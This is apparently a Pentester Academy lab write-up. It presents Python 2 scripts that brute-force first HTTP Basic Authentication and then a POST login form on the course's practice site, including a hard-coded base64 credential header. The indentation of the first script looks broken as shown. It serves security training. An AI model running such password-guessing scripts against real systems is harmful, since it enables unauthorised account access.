Pentester Academy Challenge 4 via Python

Challenge 4 from Pentester Academy turned out to be nothing but a combination of two previous challenges. The login form expects POST credentials. But it also pops out a basic authentication login when the user enters the credentials. So let’s break this up into two parts:

1.       Cracking the password for Basic Authentication:

We know the response for Basic Authentication is a header the contains Base64 encoded username:password preceded by Basic:

Authorization: Basic YWRtaW46bXlwYXNz

So we will generate a list of all password combinations and bombard the server with them till we succeed. At the end we will have user/password combination for Basic Authentication. The code for this looks like:

import urllib2

import base64

import sys

def fun(a):

    chars="vie"

    l = len(a)

    lenthPerWord = len(a[0])

    if lenthPerWord == 5:

        return a

    c=[]

    for i in range(0,l):

        for j in chars:           

            c.append(j+a[i])

    return fun(c)

c=['v','i','e']

listOfPass=fun(c)

for user in ["admin","nick"]:

        for password in listOfPass:

        r=urllib2.Request("http://pentesteracademylab.appspot.com/lab/webapp/auth/form/1?email=foo&password=goo","")

        encoded=base64.encodestring(user+':'+password)[:-1]      

        r.add_header("Authorization","Basic "+encoded)

        try:

            handle=urllib2.urlopen(r)

            print user+":"+password

            sys.exit(1)

        except IOError, e:

            print str(e)+" for "+user+":"+password

2.       Cracking the POST credentials

By now we should have the Basic Authentication credentials. We will use the same username/password for very post request. The POST data containing the username and password will be set in real time based on the password list that we generate (dictionary attack).

Were we doing this through a browser rather than a Python script, the browser would remember the Basic Auth Credentials and send them for us silently every time.

Also remember when you send data in POST it should be URL Encoded. urlencode() functionof urllib module can be used to accomplish that. A python dictionary data type argument has to be provided to the function.

The complete code looks like this:

import urllib2

import urllib

import base64

import sys

def fun(a):

    chars="onm"

    l = len(a)

    lenthPerWord = len(a[0])

    if lenthPerWord == 5:

        return a

    c=[]

    for i in range(0,l):

        for j in chars:           

            c.append(j+a[i])

    return fun(c)

c=['m','n','o']

listOfPass=fun(c)

for user in ["admin","nick"]:

    for password in listOfPass:      

        data = {"email":user+"@PentesterAcademy.com","password":password}

        data = urllib.urlencode(data)

        r=urllib2.Request("http://pentesteracademylab.appspot.com/lab/webapp/auth/form/1",data)

        r.add_header("Authorization","Basic bmljazp2aXZ2dg==")       

        handle=urllib2.urlopen(r)      

        response = handle.read()

        handle.close()

        if not "Failed" in str(response):

            print "Succeeded for "+user+"@PentestAcademy.com"+":"+password           

            sys.exit(1)

        else:

            print "Failed for "+user+"@PentestAcademy.com"+":"+password

Soon enough the credentials for the form are also cracked.